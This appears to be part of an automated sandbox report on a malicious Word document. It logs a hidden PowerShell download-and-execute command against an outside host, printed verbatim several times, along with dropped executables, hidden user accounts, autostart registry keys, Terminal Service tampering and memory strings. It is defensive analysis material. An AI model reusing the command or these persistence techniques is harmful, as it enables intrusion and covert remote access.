Source: C:\ProgramData\images.exe Code function: 17_2_00146CC1 push esp; retf 17_2_00146CC2
Source: C:\ProgramData\images.exe Code function: 17_2_001477E1 push cs; retf 17_2_001477E6
Source: C:\ProgramData\images.exe Code function: 17_2_001484E1 push esp; retf 17_2_001484E2
Source: C:\ProgramData\images.exe Code function: 21_3_042A5220 push eax; ret 21_3_042A522D
Source: initial sample Static PE information: section name: .text entropy: 7.51033751288
Source: initial sample Static PE information: section name: .text entropy: 7.51033751288
Source: initial sample Static PE information: section name: .text entropy: 7.51033751288
Source: initial sample Static PE information: section name: .text entropy: 7.51033751288

Persistence and Installation Behavior:

barindex
Tries to download and execute files (via powershell)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe''
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).DownloadFile('httP://newhosteeeee.ydns.eu/putty.exe','C:\Users\user\AppData\Roaming\putty.exe');Start-Process 'C:\Users\user\AppData\Roaming\putty.exe'' Jump to behavior
Contains functionality to create new users
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040D2B8 NetUserAdd,NetLocalGroupAddMembers, 13_2_0040D2B8
Contains functionality to download and launch executables
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040290E URLDownloadToFileW,ShellExecuteW, 13_2_0040290E
Drops PE files
Source: C:\Users\user\AppData\Roaming\putty.exe File created: C:\ProgramData\images.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\putty.exe Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Windows\System32\rfxvmt.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\putty[1].exe Jump to dropped file
Source: C:\ProgramData\images.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\microC[1].exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Roaming\putty.exe File created: C:\ProgramData\images.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\ProgramData\images.exe File created: C:\Windows\System32\rfxvmt.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040A36F lstrcatW,GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW, 13_2_0040A36F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00409E2D GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW, 13_2_00409E2D
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_00413695 CreateDesktopW,AssocQueryStringW,PathFindFileNameW,CharLowerW,PathFindFileNameW,CharLowerW,SHFileOperationW,CreateDirectoryW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateProcessW,CreateProcessW,SHFileOperationW,CreateDirectoryW,GetPrivateProfileStringW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateFileW,WriteFile,CloseHandle,CreateProcessW,GetPrivateProfileStringW,CreateFileW,WriteFile,CloseHandle,CreateProcessW,CreateProcessW,CreateProcessW, 13_2_00413695
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_0040A36F lstrcatW,GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW, 15_2_0040A36F
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00409E2D GetBinaryTypeW,CopyFileW,PathFileExistsW,GetPrivateProfileStringW, 15_2_00409E2D
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 15_2_00413695 CreateDesktopW,AssocQueryStringW,PathFindFileNameW,CharLowerW,PathFindFileNameW,CharLowerW,SHFileOperationW,CreateDirectoryW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateProcessW,CreateProcessW,SHFileOperationW,CreateDirectoryW,GetPrivateProfileStringW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateFileW,WriteFile,CloseHandle,CreateProcessW,GetPrivateProfileStringW,CreateFileW,WriteFile,CloseHandle,CreateProcessW,CreateProcessW,CreateProcessW, 15_2_00413695

Boot Survival:

barindex
Creates an undocumented autostart registry key
Source: C:\Windows\SysWOW64\reg.exe Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Load
Modifies existing windows services
Source: C:\ProgramData\images.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters
Source: C:\Users\user\AppData\Roaming\putty.exe Code function: 13_2_0040D3A8 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 13_2_0040D3A8

Hooking and other Techniques for Hiding and Protection:

barindex
Contains functionality to hide user accounts
Source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: putty.exe, 0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: putty.exe, 0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp String found in binary or memory: 0.rudp\ICACLS.exe\xcopy.exe "" /GRANT:r *S-1-1-0:(OI)(CI)F /T\AppData\Local\Google\AppData\Local\Google\xcopy.exe /Y /E /C \AppData\Roaming\Mozilla\AppData\Roaming\Mozilla\\AppData\Roaming\Microsoft\AppData\Roaming\Microsoft\\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TermService%ProgramFiles%%windir%\System32%ProgramW6432%\Microsoft DN1\rfxvmt.dll\rdpwrap.ini\sqlmap.dllrpdpSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListSeDebugPrivilegeSYSTEM\CurrentControlSet\Services\TermService\ParametersServiceDllSYSTEM\CurrentControlSet\Services\TermServiceImagePathsvchost.exesvchost.exe -kCertPropSvcSessionEnvServicesActiveSYSTEM\CurrentControlSet\Control\Terminal ServerSYSTEM\CurrentControlSet\Control\Terminal Server\Licensing CoreSOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonSYSTEM\CurrentControlSet\Control\Terminal Server\AddInsSYSTEM\CurrentControlSet\ControlTerminal Server\AddIns\Clip RedirectorSYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VCfDenyTSConnectionsEnableConcurrentSessionsAllowMultipleTSSessionsRDPClipNameTypemultirdp[experimental] patch Terminal Server service to allow multiples userstermsrv.dllexplorer.exeTASKmgr.exeProcessHacker.exeregedit.exentdll.dllLdrGetProcedureAddressRtlNtStatusToDosErrorRtlSetLastWin32ErrorNtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryLdrLoadDllRtlCreateUserThread
Source: putty.exe String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: putty.exe String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: images.exe String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Users\user\AppData\Roaming\putty.exe File opened: C:\ProgramData\images.exe:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe File opened: C:\Users\user\AppData\Roaming\iBCrDCK.i.exe:Zone.Identifier read attributes | delete
Hides user accounts
Source: C:\ProgramData\images.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList eC.vaAf
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
